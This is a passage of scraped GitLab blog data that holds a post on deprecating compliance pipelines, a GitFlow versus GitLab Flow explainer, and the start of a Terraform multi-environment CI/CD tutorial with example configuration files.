[{\"@type\":\"Person\",\"name\":\"Ian Khor\"}],\n        \"datePublished\": \"2024-10-01\",\n      }",{"title":4319,"description":4314,"authors":4320,"heroImage":4315,"date":4321,"body":4322,"category":674,"tags":4323},"Why GitLab is deprecating compliance pipelines in favor of security policies",[1780],"2024-10-01","GitLab compliance pipelines ensure security- and compliance-related jobs in applicable projects are run in accordance with compliance frameworks. Similarly, scan execution policies assure GitLab security scans are run in pipelines in a compliant manner.\n\nWhat we’ve learned from users is that they’d like to capture benefits offered by each feature through a single, simpler solution. Users would like to combine the flexibility of [compliance pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration) with the simplicity and versatility of [security policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nTo meet this request, we developed a new feature, [pipeline execution policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html), to help users enforce customized CI/CD jobs for all applicable projects. Pipeline execution policies perform a similar function to compliance pipelines, but with increased focus on compliance enforcement, flexibility, and a foundation to build and solve for more use cases in the future.\n\nTo reduce confusion, compliance pipelines have been [deprecated](https://docs.gitlab.com/ee/update/deprecations.html#compliance-pipelines) in 17.3 now that pipeline execution policies are available and, as part of the deprecation, we are providing a step-by-step workflow for migrating from compliance pipelines to pipeline execution policy type in 17.5.\n\nYou can follow along with the work we’re doing with the deprecation through this [epic](https://gitlab.com/groups/gitlab-org/-/epics/11275).\n\n![compliance pipelines - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098139/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098139599.png)\n\n## Why are we deprecating compliance pipelines?\n\nTo understand the reason behind this change, we first need to understand the difference between the [compliance management](https://about.gitlab.com/direction/govern/compliance/compliance-management/) and [policy management](https://about.gitlab.com/direction/govern/security_policies/security_policy_management/) features in GitLab. With compliance management, we are focused on helping you understand your compliance posture, providing tools to report to auditors, and surfacing compliance risks in a way that helps you take action.\n\nWe are also focused on increasing compliance visibility of framework requirements, violations, and audit events throughout the entire DevSecOps lifecycle. Our compliance management offering also establishes a direct association between controls and automations configured through policies back into compliance requirements established through compliance frameworks.\n\nPolicy management works hand in hand with compliance programs, as well as supporting scalable security initiatives. Policies give organizations a central location to globally enforce security controls, compliance controls, and automate security and compliance workflows. Security policies will continue to address core use cases across the lifecycle, such as defining enforcement around CI/CD component usage, blocking risks related to dependency and package management, and automating vulnerability management workflows to address security and compliance controls.\n\nTherefore, to ensure we provide the greatest value for our security and compliance users, we are deprecating compliance pipelines and providing a migration path for users to security policies. Not only does this make it clear and simple to the user how and when to enforce jobs as part of a project pipeline, but it also makes the distinction between compliance management and policy management in GitLab clearer. Compliance management is focused on compliance visibility, and policy management is focused on compliance and security enforcement across your entire GitLab instance.\n\n## What is the timeline for the deprecation and removal of compliance pipelines?\n\nThe iteration plan below can be found in the [issue that details the work we are doing](https://gitlab.com/groups/gitlab-org/-/epics/11275) to deprecate and remove compliance pipelines:\n\n**[Deprecation announcement](https://docs.gitlab.com/ee/update/deprecations.html#compliance-pipelines)**\n* Compliance pipeline deprecation and removal was announced in 17.3\n\n**[Compliance pipelines maintenance mode](https://gitlab.com/groups/gitlab-org/-/epics/12324)**\n* Adding banners and migration workflow, and docs\n* Released in 17.5\n\n**[Deter new compliance pipelines](https://gitlab.com/groups/gitlab-org/-/epics/14150)**\n* Adding warning banners for new pipelines\n* Encourage users to try the pipeline execution policy instead\n* Scheduled to start work on this 17.6\n* Scheduled to be released 17.8\n\n**[Compliance pipelines removal](https://gitlab.com/groups/gitlab-org/-/epics/12325) (Remove compliance pipelines)**\n* Provide tools to trial the removal and validate any errors\n* Scheduled to start work on this 17.8\n* Scheduled to be released 19.0\n\nAs you can see, we will start with the deprecation of compliance pipelines and the introduction of pipeline execution policy in the 17.3 release. \n\nLeading up to the removal of compliance pipelines in the 19.0 release, we are including new ways to inform and warn users about the upcoming removal. We are providing warning banners on new pipelines, as well as a workflow that can be used to migrate compliance pipelines to pipeline execution policy.\n\nWe ‘ll remove compliance pipelines in the 19.0 release, but provide a reverse feature flag in the milestones leading up that will help users test the removal and understand any impact prior to the removal date.\n\n## How to migrate your compliance pipelines to pipeline execution policy?\n\nThere are two ways users can access the workflow for migrating compliance pipelines to pipeline execution policy.\n\n1. When creating a new compliance framework, there will now be a warning banner that allows users to start using pipeline execution policy type instead of compliance frameworks:\n\n![compliance pipelines - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098139599.png)\n\n2. When editing an existing compliance framework, there will now be a warning banner that enables users to migrate their compliance pipelines to pipeline execution policy type – if they have a compliance pipeline configured.\n\n![compliance pipelines - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098139601.png)\n\nSelecting either \"Create policy\" or \"Migrate pipeline to a policy\" in either workflow will bring users to the \"New policy\" creation page in the \"Security Policies\" section. This will allow users to create a new security policy instead of a compliance pipeline. Or, if you migrate an existing compliance pipeline, the new policy will be populated with the compliance pipeline YAML as the remote source for the policy. Also, the policy scope will be populated with the framework from which you are migrating. \n\nThe policy will target all projects with that label for enforcement and apply enforcement of jobs defined in your remote file, now the pipeline execution YAML. By default, the new policy will be configured with the “override” mode, which will override downstream projects' `.gitlab-ci.yml` with the configuration you have defined (similar to compliance pipelines).\n\n![compliance pipelines - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098140/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098139604.png)\n\nAlternatively, you may use the “Inject” mode, which introduces a new set of reserved stages to run security and compliance jobs in isolation in a tamper-proof manner, without disrupting the project pipeline, and without coordinating with project teams to define stage names in their pipeline config. \n\nWith this approach, be sure to remove the `include:project`, which is no longer needed for this mode. And, depending on your version, ensure job names are unique (required in GitLab 17.2 and 17.3). In GitLab 17.4, we introduced additional enhancements for [managing conflicts](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html#job-naming-best-practice) for additional flexibility.\n\n## Start your migration today\n\nWe want to ensure that all GitLab users who are using compliance pipelines are fully aware of the deprecation of compliance pipelines in 17.3 and its eventual removal by the 19.0 release as a breaking change. \n\nWe are asking users to start migrating their compliance pipelines to the pipeline execution policy type as soon as possible, before the removal of compliance pipelines in GitLab 19.0.\n\nIf there are any questions, please contact your customer service representative or GitLab support for any help.\n\n> Follow along with the compliance pipeline deprecation progress in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11275).\n\n> Share feedback in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/491924) regarding any gaps are blockers for adopting pipeline execution policies.",[674,696,943,110],{"slug":4325,"featured":92,"template":678},"why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies","content:en-us:blog:why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies.yml","Why Gitlab Is Deprecating Compliance Pipelines In Favor Of Security Policies","en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies.yml","en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies",{"_path":4331,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4332,"content":4338,"config":4343,"_id":4345,"_type":16,"title":4346,"_source":17,"_file":4347,"_stem":4348,"_extension":20},"/en-us/blog/what-is-gitflow",{"title":4333,"description":4334,"ogTitle":4333,"ogDescription":4334,"noIndex":6,"ogImage":4335,"ogUrl":4336,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4336,"schema":4337},"What is GitFlow?","This article introduces the differences between GitFlow and GitLab Flow, explains what GitFlow is, how it works, its benefits, and answers frequently asked questions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659838/Blog/Hero%20Images/AdobeStock_662057734.jpg","https://about.gitlab.com/blog/what-is-gitflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What is GitFlow?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-09-27\",\n      }",{"title":4333,"description":4334,"authors":4339,"heroImage":4335,"date":4340,"body":4341,"category":813,"tags":4342},[1380],"2024-09-27","In GitFlow, developers create a separate \"`develop`\" (for development) branch in addition to the \"`main`\" (for operation) branch and set it as the default. However, with [GitLab Flow](https://about.gitlab.comtopics/version-control/what-is-gitlab-flow/), work can begin directly on the `main` branch. GitLab Flow incorporates pre-production branches, allowing for bug fixes before merging changes into the `main` branch and deploying to production. For example, teams can add as many pre-production branches as needed, such as flowing from `main` to test, test to acceptance, or acceptance to production. \n\nIn this article, you'll learn the differences between GitFlow and GitLab, what GitFlow is, how it works, its benefits, and get answers to frequently asked questions. \n\n## Table of contents\n- [What is GitFlow](#what-is-gitflow)\n- [How GitFlow works](#how-gitflow-works)\n- [How GitFlow and GitLab Flow differ](#how-gitflow-and-gitlab-flow-differ)\n- [GitFlow's workflow](#gitflow's-workflow)\n- [GitLab Flow's workflow](#gitlab-flow's-workflow)\n- [Benefits of using GitFlow and its features](#benefits-of-using-gitflow-and-its-features)\n- [GitFlow example](#gitflow-example)\n- [GitLab Flow and GitFlow FAQ ](#gitlab-flow-and-gitflow-faq)\n\n## What is GitFlow\n\nGitFlow is a Git workflow designed for managing branches in Git (a distributed version control system); it serves as a branching model for Git repositories. Created to simplify complex software release management, it was introduced by Vincent Driessen in 2010. It is particularly popular among large teams. \n\n## How GitFlow works\n\nCompared to trunk-based development, GitFlow features persistent branches and tends to involve larger commits. GitFlow can be used for projects with scheduled release cycles and aligns with [DevOps](https://about.gitlab.com/solutions/devops-platform/) best practices for continuous delivery. GitFlow provides a structured workflow where branches are defined for specific purposes, such as creating feature branches off the `develop` branch and the 'main' branch, preparing `release` branches, and eventually merging into `main`. This structure makes it easier for teams to understand where changes should be integrated within their development pipeline. \n\n## How GitFlow and GitLab Flow differ\n\nGitFlow is a Git branching model that utilizes multiple primary branches in addition to feature branches. [GitLab Flow](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/) aims to address some of the complexities inherent in GitFlow, enabling team members to work more efficiently. Let's examine the workflow differences in more detail. \n\n### GitFlow's workflow\n\nThe GitFlow workflow involves the following five types of branches: \n\n1. main\n2. develop \n3. feature\n4. release \n5. hotfix\n\nWhen using GitFlow for code development, you work with the main branch and various supporting branches. There are two primary long-lived branches: the main branch for production-ready code, and the develop branch for integrating source code under development. Codes are stabilized in the `develop` branch, prepared to be released, and then merged into the main branch when ready. Supporting branches, such as feature, release, and hotfix branches, are created to handle specific development tasks. \n\n### GitLab Flow's workflow\n\nGitLab Flow streamlines development by preventing the overhead associated with releases, tagging, merging, and more. \n\nGitLab Flow is a simplified alternative to GitFlow, combining feature-driven development with issue tracking capabilities. Using GitLab Flow enables simple, straightforward, and efficient workflows. GitLab Flow incorporates best practices to help software development teams release features smoothly. \n\nGitLab Flow is the workflow used in GitLab's own development. It involves branches such as the `main` branch; a pre-release testing branch, `pre-production`; a branch for managing released code, `production`; and branches for feature development or bug fixes like `feature``hotfix`. Teams can add as many pre-production branches as they need. For example, creating flows such as from `main` to test, from test to approval, and from approval to production. \n\nWhile teams create feature branches, they also manage production branches. Once the main branch is ready for deployment, it will be merged into the production branch and released. GitLab Flow can also be utilized with release branches. Teams needing public APIs must manage different versions; GitLab Flow facilitates this by allowing the creation of individually manageable branches like `v1` and `v2`, making it convenient to revert to `v1` if bugs are detected during code review. \n\n## Benefits of using GitFlow and its features\n\n### 1: Rapid handling of bug fixes\n\nOne benefit of using GitFlow is the ability to quickly handle bug fixes in the production environment. GitFlow is employed as a Git (distributed version control system) workflow, particularly by large teams engaged in complex software development. \n\n### 2: Ensured testing\n\nWhen releasing software from a release branch, you can allocate time for users to test in a staging environment. This can occur independently of ongoing code development. Furthermore, as commits flow downstream through different stages, it helps ensure testing across all relevant environments. \n\n### 3: Streamlined software development process\n\nUsing GitFlow allows you to leverage Git to its full potential. This, in turn, helps streamline the software development process. \n\n### 4: More efficient collaboration, conflict resolution, and continuous delivery\n\nImplementing GitFlow enhances collaboration efficiency. Merge conflicts can be resolved quickly, enabling continuous delivery. \n\n## GitFlow example\nThe diagram below illustrates an example configuration of GitFlow. It should help clarify the overall flow, including the different branches and their structure.  \n\n![GitFlow example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673714/Blog/Content%20Images/AdobeStock_569852816.jpg)\n\n## GitLab Flow and GitFlow FAQ \n\n### Q: What is Git Feature Flow? \n\nA: It is one of the proposed development workflows that utilize Git. Git Feature Flow is suitable for handling simpler development requirements. \n\n### Q: Is GitLab Flow worth using? \n\nA: Yes. GitLab Flow reduces the overhead associated with activities like releasing, tagging, and merging. These can be common issues encountered in other Git workflows. For more details, see [these GitLab Flow best practices](https://about.gitlab.com/topics/version-control/what-are-gitlab-flow-best-practices/). \n\n### Q: How should I choose between GitLab Flow and GitFlow? \n\nA: Git Flow, due to its structure, is well-suited for large projects with clearly defined development stages. GitLab Flow, being more agile, is better suited for projects that prioritize continuous delivery and rapid releases. \n\n## Get started with GitLab\n\nStart your [free, 60-day trial of GitLab Ultimate and GitLab Duo Enterprise](https://about.gitlab.com/free-trial/) today!\n",[1067,815],{"slug":4344,"featured":6,"template":678},"what-is-gitflow","content:en-us:blog:what-is-gitflow.yml","What Is Gitflow","en-us/blog/what-is-gitflow.yml","en-us/blog/what-is-gitflow",{"_path":4350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4351,"content":4357,"config":4363,"_id":4365,"_type":16,"title":4366,"_source":17,"_file":4367,"_stem":4368,"_extension":20},"/en-us/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"title":4352,"description":4353,"ogTitle":4352,"ogDescription":4353,"noIndex":6,"ogImage":4354,"ogUrl":4355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4355,"schema":4356},"Using child pipelines to continuously deploy to five environments","Learn how to manage continuous deployment to multiple environments, including temporary, on-the-fly sandboxes, with a minimalist GitLab workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097012/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750097011626.jpg","https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using child pipelines to continuously deploy to five environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Olivier Dupré\"}],\n        \"datePublished\": \"2024-09-26\",\n      }",{"title":4352,"description":4353,"authors":4358,"heroImage":4354,"date":4360,"body":4361,"category":734,"tags":4362},[4359],"Olivier Dupré","2024-09-26","DevSecOps teams sometimes require the ability to manage continuous deployment across multiple environments — and they need to do so without changing their workflows. The [GitLab DevSecOps platform](https://about.gitlab.com/) supports this need, including temporary, on-the-fly sandboxes, with a minimalist approach. In this article, you'll learn how to run continuous deployment of infrastructure using Terraform, over multiple environments.\n\nThis strategy can easily be applied to any project, whether it is infrastructure as code (IaC) relying on another technology, such as [Pulumi](https://www.pulumi.com/) or [Ansible](https://www.ansible.com/), source code in any language, or a monorepo that mixes many languages.\n\nThe final pipeline that you will have at the end of this tutorial will deploy:\n\n* A temporary **review** environment for each feature branch.\n* An **integration** environment, easy to wipe out and deployed from the main branch.\n* A **QA** environment, also deployed from the main branch, to run quality assurance steps.\n* A **staging** environment, deployed for every tag. This is the last round before production.\n* A **production** environment, just after the staging environment. This one is triggered manually for demonstration, but can also be continuously deployed.\n\n>Here is the legend for the flow charts in this article:\n> * Round boxes are the GitLab branches.\n> * Square boxes are the environments.\n> * Text on the arrows are the actions to flow from one box to the next.\n> * Angled squares are decision steps.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\nOn each step, you'll learn the [why](#why) and the [what](#what) before moving to the [how](#how). This will help you fully understand and replicate this tutorial.\n\n## Why\n\n* [Continuous integration](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-integration-ci) is almost a de facto standard. Most companies have implemented CI pipelines or are willing to standardize their practice.\n\n* [Continuous delivery](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-delivery-cd), which pushes artifacts to a repository or registry at the end of the CI pipeline, is also popular.\n\n* Continuous deployment, which goes further and deploys these artifacts automatically, is less widespread. When it has been implemented, we see it essentially in the application field. When discussing continuously deploying  infrastructure, the picture seems less obvious, and is more about managing several environments. In contrast, testing, securing, and verifying the infrastructure's code seems more challenging. And this is one of the fields where DevOps has not yet reached its maturity. One of the other fields is to shift security left, integrating security teams and, more importantly, security concerns, earlier in the delivery lifecycle, to upgrade from DevOps to ***DevSecOps***.\n\nGiven this high-level picture, in this tutorial, you will work toward a simple, yet efficient way to implement DevSecOps for your infrastructure through the example of deploying resources to five environments, gradually progressing from development to production.\n\n__Note:__ Even if I advocate embracing a FinOps approach and reducing the number of environments, sometimes there are excellent reasons to maintain more than just dev, staging, and production. So, please, adapt the examples below to match your needs.\n\n## What\n\nThe rise of cloud technology has driven the usage of IaC. Ansible and Terraform were among the first to pave the road here. OpenTofu, Pulumi, AWS CDK, Google Deploy Manager, and many others joined the party.\n\nDefining IaC is a perfect solution to feel safe when deploying infrastructure. You can test it, deploy it, and replay it again and again until you reach your goal.\n\nUnfortunately, we often see companies maintain several branches, or even repositories, for each of their target environments. And this is where the problems start. They are no longer enforcing a process. They are no longer ensuring that any change in the production code base has been accurately tested in previous environments. And they start seeing drifts from one environment to the other.\n\nI realized this tutorial was necessary when, at a conference I attended, every participant said they do not have a workflow that enforces the infrastructure to be tested thoroughly before being deployed to production. And they all agreed that sometimes they patch the code directly in production. Sure, this is fast, but is it safe? How do you report back to previous environments? How do you ensure there are no side effects? How do you control whether you are putting your company at risk with new vulnerabilities being pushed too quickly in production?\n\nThe question of *why* DevOps teams deploy directly to production is critical here. Is it because the pipeline could be more efficient or faster? Is there no automation? Or, even worse, because there is *no way to test accurately outside of production*?\n\nIn the next section, you will learn how to implement automation for your infrastructure and ensure that your DevOps team can effectively test what you are doing before pushing to any environment impacting others. You will see how your code is secured and its deployment is controlled, end-to-end.\n\n## How\n\nAs mentioned earlier, there are many IaC languages out there nowadays and we objectively cannot cover *all* of them in a single article. So, I will rely on a basic Terraform code running on Version 1.4. Please do not focus on the IaC language itself but instead on the process that you could apply to your own ecosystem.\n\n### The Terraform code\n\nLet's start with a fundamental Terraform code.\n\nWe are going to deploy to AWS, a virtual private cloud (VPC), which is a virtual network. In that VPC, we will deploy a public and a private subnet. As their name implies, they are subnets of the main VPC. Finally, we will add an Elastic Cloud Compute (EC2) instance (a virtual machine) in the public subnet.\n\nThis demonstrates the deployment of four resources without adding too much complexity. The idea is to focus on the pipeline, not the code.\n\nHere is the target we want to reach for your repository.\n\n![target for repository](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097033415.png)\n\nLet’s do it step by step.\n\nFirst, we declare all resources in a `terraform/main.tf` file:\n\n```terraform\nprovider \"aws\" {\n  region = var.aws_default_region\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = var.aws_vpc_cidr\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n\nresource \"aws_subnet\" \"public_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_public_subnet_cidr\n\n  tags = {\n    Name = \"Public Subnet\"\n  }\n}\nresource \"aws_subnet\" \"private_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_private_subnet_cidr\n\n  tags = {\n    Name = \"Private Subnet\"\n  }\n}\n\nresource \"aws_instance\" \"sandbox\" {\n  ami           = var.aws_ami_id\n  instance_type = var.aws_instance_type\n\n  subnet_id = aws_subnet.public_subnet.id\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n```\n\nAs you can see, there are a couple of variables that are needed for this code, so let's declare them in a `terraform/variables.tf` file:\n\n```terraform\nvariable \"aws_ami_id\" {\n  description = \"The AMI ID of the image being deployed.\"\n  type        = string\n}\n\nvariable \"aws_instance_type\" {\n  description = \"The instance type of the VM being deployed.\"\n  type        = string\n  default     = \"t2.micro\"\n}\n\nvariable \"aws_vpc_cidr\" {\n  description = \"The CIDR of the VPC.\"\n  type        = string\n  default     = \"10.0.0.0/16\"\n}\n\nvariable \"aws_public_subnet_cidr\" {\n  description = \"The CIDR of the public subnet.\"\n  type        = string\n  default     = \"10.0.1.0/24\"\n}\n\nvariable \"aws_private_subnet_cidr\" {\n  description = \"The CIDR of the private subnet.\"\n  type        = string\n  default     = \"10.0.2.0/24\"\n}\n\nvariable \"aws_default_region\" {\n  description = \"Default region where resources are deployed.\"\n  type        = string\n  default     = \"eu-west-3\"\n}\n\nvariable \"aws_resources_name\" {\n  description = \"Default name for the resources.\"\n  type        = string\n  default     = \"demo\"\n}\n```\n\nAlready, we are almost good to go on the IaC side. What's missing is a way to share the Terraform states. For those who don't know, Terraform works schematically doing the following:\n\n* `plan` checks the differences between the current state of the infrastructure and what is defined in the code. Then, it outputs the differences.\n* `apply` applies the differences in the `plan` and updates the state.\n\nFirst round, the state is empty, then it is filled with the details (ID, etc.) of the resources applied by Terraform.\n\nThe problem is: Where is that state stored? How do we share it so several developers can collaborate on code?\n\nThe solution is fairly simple: Leverage GitLab to store and share the state for you through a [Terraform HTTP backend](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html).\n\nThe first step in using this backend is to create the most simple `terraform/backend.tf` file. The second step will be handled in the pipeline.\n\n```terraform\nterraform {\n  backend \"http\" {\n  }\n}\n```\n\nEt voilà! We have a bare minimum Terraform code to deploy these four resources. We will provide the variable values at the runtime, so let's do that later.\n\n### The workflow\n\nThe workflow that we are going to implement now is the following:\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n1. Create a **feature** branch. This will continuously run all scanners on the code to ensure that it is still compliant and secured. This code will be continuously deployed to a temporary environment `review/feature_branch` with the name of the current branch. This is a safe environment where the developers and operations teams can test their code without impacting anybody. This is also where we will enforce the process, like enforcing code reviews and running scanners, to ensure that the quality and security of the code are acceptable and do not put your assets at risk. The infrastructure deployed by this branch is automatically destroyed when the branch is closed. This helps you keep your budget under control.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\u003C/pre>\n\n2. Once approved, the feature branch will be **merged** into the main branch. This is a [protected branch](https://docs.gitlab.com/ee/user/project/protected_branches.html) where no one can push. This is mandatory to ensure that every change request to production is thoroughly tested. That branch is also continuously deployed. The target here is the `integration` environment. To keep this environment slightly more stable, its deletion is not automated but can be triggered manually.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main) -->|auto deploy| E[integration]\n\u003C/pre>\n\n3. From there, manual approval is required to trigger the next deployment. This will deploy the main branch to the `qa` environment. Here, I have set a rule to prevent deletion from the pipeline. The idea is that this environment should be quite stable (after all, it's already the third environment), and I would like to prevent deletion by mistake. Feel free to adapt the rules to match your processes.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main)-->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\u003C/pre>\n\n4. To proceed, we will need to **tag** the code. We are relying on [protected tags](https://docs.gitlab.com/ee/user/project/protected_tags.html) here to ensure that only a specific set of users are allowed to deploy to these last two environments. This will immediately trigger a deployment to the `staging` environment.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main) -->|tag| G(X.Y.Z)\n    F[qa] -->|validate| G\n\n    G -->|auto deploy| H[staging]\n\u003C/pre>\n\n5. Finally, we are landing to `production`. When discussing infrastructure, it is often challenging to deploy progressively (10%, 25%, etc.), so we will deploy the whole infrastructure. Still, we control that deployment with a manual trigger of this last step. And to enforce maximum control on this highly critical environment, we will control it as a [protected environment](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    H[staging] -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n### The pipeline\n\nTo implement the above [workflow](#the-workflow), we are now going to implement a pipeline with two [downstream pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html).\n\n#### The main pipeline\n\nLet's start with the main pipeline. This is the one that will be triggered automatically on any **push to a feature branch**, any **merge to the default branch**, or any **tag**. *The one* that will do true **continuous deployment** to the following environments: `dev`, `integration`, and `staging`. And it is declared in the `.gitlab-ci.yml` file at the root of your project.\n\n![the repository target](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097033417.png)\n\n```yml\nStages:\n  - test\n  - environments\n\n.environment:\n  stage: environments\n  variables:\n    TF_ROOT: terraform\n    TF_CLI_ARGS_plan: \"-var-file=../vars/$variables_file.tfvars\"\n  trigger:\n    include: .gitlab-ci/.first-layer.gitlab-ci.yml\n    strategy: depend            # Wait for the triggered pipeline to successfully complete\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nreview:\n  extends: .environment\n  variables:\n    environment: review/$CI_COMMIT_REF_SLUG\n    TF_STATE_NAME: $CI_COMMIT_REF_SLUG\n    variables_file: review\n    TF_VAR_aws_resources_name: $CI_COMMIT_REF_SLUG  # Used in the tag Name of the resources deployed, to easily differenciate them\n  rules:\n    - if: $CI_COMMIT_BRANCH && $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n\nintegration:\n  extends: .environment\n  variables:\n    environment: integration\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nstaging:\n  extends: .environment\n  variables:\n    environment: staging\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_TAG\n\n#### TWEAK\n# This tweak is needed to display vulnerability results in the merge widgets.\n# As soon as this issue https://gitlab.com/gitlab-org/gitlab/-/issues/439700 is resolved, the `include` instruction below can be removed.\n# Until then, the SAST IaC scanners will run in the downstream pipelines, but their results will not be available directly in the merge request widget, making it harder to track them.\n# Note: This workaround is perfectly safe and will not slow down your pipeline.\ninclude:\n  - template: Security/SAST-IaC.gitlab-ci.yml\n#### END TWEAK\n\n```\n\nThis pipeline runs only two stages: `test` and  `environments`. The former is needed for the *TWEAK* to run scanners. The later triggers a child pipeline with a different set of variables for each case defined above (push to the branch, merge to the default branch, or tag).\n\nWe are adding here a dependency with the keyword [strategy:depend](https://docs.gitlab.com/ee/ci/yaml/index.html#triggerstrategy) on our child pipeline so the pipeline view in GitLab will be updated only once the deployment is finished.\n\nAs you can see here, we are defining a base job, [hidden](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs), and we are extending it with specific variables and rules to trigger only one deployment for each target environment.\n\nBesides the [predefined variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html), we are using two new entries that we need to define:\n1. [The variables specific](#the-variable-definitions) to each environment: `../vars/$variables_file.tfvars`\n2. [The child pipeline](#the-child-pipeline), defined in `.gitlab-ci/.first-layer.gitlab-ci.yml`\n\nLet's start with the smallest part, the variable definitions.\n\n### The variable definitions\n\nWe are going here to mix two solutions to provide variables to Terraform:\n\n* The first one using [.tfvars files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) for all non-sensitive input, which should be stored within GitLab.\n\n![solution one to provide variables to Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097033419.png)\n\n* The second using [environment variables](https://developer.hashicorp.com/terraform/language/values/variables#environment-variables) with the prefix `TF_VAR`. That second way to inject variables, associated with the GitLab capacity to [mask variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable), [protect them](https://docs.gitlab.com/ee/ci/variables/#protect-a-cicd-variable), and [scope them to environments](https://docs.gitlab.com/ee/ci/environments/index.html#limit-the-environment-scope-of-a-cicd-variable) is a powerful solution to **prevent sensitive information leakages**. (If you consider your production’s private CIDR very sensitive, you could protect it like this, ensuring it is only available for the `production` environment, for pipelines running against protected branches and tags, and that its value is masked in the job’s logs.)\n\n![solution two to provide variables to Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097033422.png)\n\nAdditionally, each variable file should be controlled through a [`CODEOWNERS` file](https://docs.gitlab.com/ee/user/project/codeowners/) to set who can modify each of them.\n\n```\n[Production owners] \nvars/production.tfvars @operations-group\n\n[Staging owners]\nvars/staging.tfvars @odupre @operations-group\n\n[CodeOwners owners]\nCODEOWNERS @odupre\n```\n\nThis article is not a Terraform training, so we will go very fast and simply show here the `vars/review.tfvars` 